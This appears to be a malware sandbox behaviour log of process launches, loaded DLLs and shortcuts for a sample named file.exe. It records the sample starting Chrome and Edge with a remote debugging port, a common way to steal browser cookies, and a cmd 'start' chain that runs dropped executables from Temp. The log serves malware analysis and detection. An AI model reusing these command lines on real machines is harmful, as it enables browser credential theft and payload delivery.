Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2116,i,15236747376566877076,15780702850238807607,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2308,i,14714462236910812885,8617674991629575776,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7040 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKEHIEBKJK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKKEHIEBKJK.exe "C:\Users\user\DocumentsKKEHIEBKJK.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6936 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe "C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe "C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKEHIEBKJK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2116,i,15236747376566877076,15780702850238807607,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2308,i,14714462236910812885,8617674991629575776,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6936 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7040 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6936 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKKEHIEBKJK.exe "C:\Users\user\DocumentsKKEHIEBKJK.exe"
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe "C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe "C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Section loaded: gpapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
